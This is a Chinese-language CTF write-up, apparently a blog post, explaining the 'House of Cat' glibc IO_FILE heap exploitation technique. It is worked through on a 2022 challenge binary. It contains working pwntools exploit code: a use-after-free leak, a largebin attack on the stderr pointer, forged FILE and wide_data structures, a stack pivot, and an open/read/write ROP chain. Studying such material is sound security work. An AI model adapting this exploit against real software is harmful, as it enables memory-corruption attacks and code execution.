house of cat 心得体会
字数 916 2025-08-25 22:58:47
House of Cat 利用技术详解
适用版本
- glibc 2.23 至最新版本
利用条件
- 可以进行一次任意地址写堆地址
- 可以触发IO流操作
攻击方法
- 劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)
- 触发IO流操作
技术原理分析
调用链分析
触发__malloc_assert后会有以下调用链:
__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn
其中_IO_file_xsputn是通过vtable处的指针来调用,且在_IO_file_jumps中_IO_file_xsputn函数和_IO_wfile_seekoff相差0x10大小。
关键函数分析
_IO_wfile_seekoff函数
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) {
// ...
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
// ...
}
_IO_switch_to_wget_mode函数
_IO_switch_to_wget_mode (FILE *fp) {
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
// ...
}
利用思路
- 通过劫持
_IO_2_1_stderr结构体,并将vtable处的指针改为_IO_wfile_seekoff - 执行链:
_IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW - 通过控制
_wide_vtable处的指针劫持程序执行流
magic_gadget分析
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
实战案例:2022挑战杯 house of cat
题目分析
- 保护全开,开启沙箱
- 限制申请大小0x418-0x46f
- 限制修改次数两次并只能修改0x30字节
- 存在UAF漏洞
- 限制泄露数据最大大小为0x30字节
利用步骤
1. 获取libc基址和heap基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
2. largebin attack攻击stderr指针
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30) # _IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2 # _IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0) # _wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10) # vtable
add(0,0x428,fake_file)
pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
delete(1) # ub
add(3,0x440,b'c') # attack
3. 修改top_chunk大小并触发IO调用
add(4,0x418,b'd') # r chunk1
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
delete(8) # ub
delete(14)
add(10,0x450,b'a') # attack
伪造结构体详解
1. 伪造stderr结构体
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30) # _IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2 # _IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0) # wide_data start
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10) # vtable
fake_file+=wide_data
2. 伪造_IO_wide_data结构体
wide_data=p64(0)*4+p64(1) # _IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00' # _statep (flag_addr)
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) # wide_vtable
wide_data+=pivot
3. 构造ROP链
# close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
# open('flag',0)
rop+=p64(pop_rdi)
rop+=p64(flag_addr)
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
# read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
# write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40)
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)
4. 构造栈迁移payload
pivot=p64(magic_gadget) # call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30)
pivot+=p64(leave_ret)
pivot+=rop
完整EXP
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
# ... [省略工具函数定义] ...
# 获取基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
# 计算关键地址
IO_list_all = libc_base+0x21a680
magic_gadget = libc_base+0x16a1fa
IO_2_1_stderr = libc_base+0x21a6a0
stderr = libc_base+0x21a860
IO_wfile_jumps = libc_base+0x2160c0
lock=libc_base+0x21ba60
# gadget
add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
# 函数地址
syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']
# 构造ROP链
# ... [省略ROP链构造代码] ...
# 构造伪造结构体
# ... [省略结构体构造代码] ...
# 执行攻击
# ... [省略攻击执行代码] ...
itr()
参考
- House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解
- house of cat -2022强网杯pwn复现 | ZIKH26's Blog
- CTF 中 glibc堆利用 及 IO_FILE 总结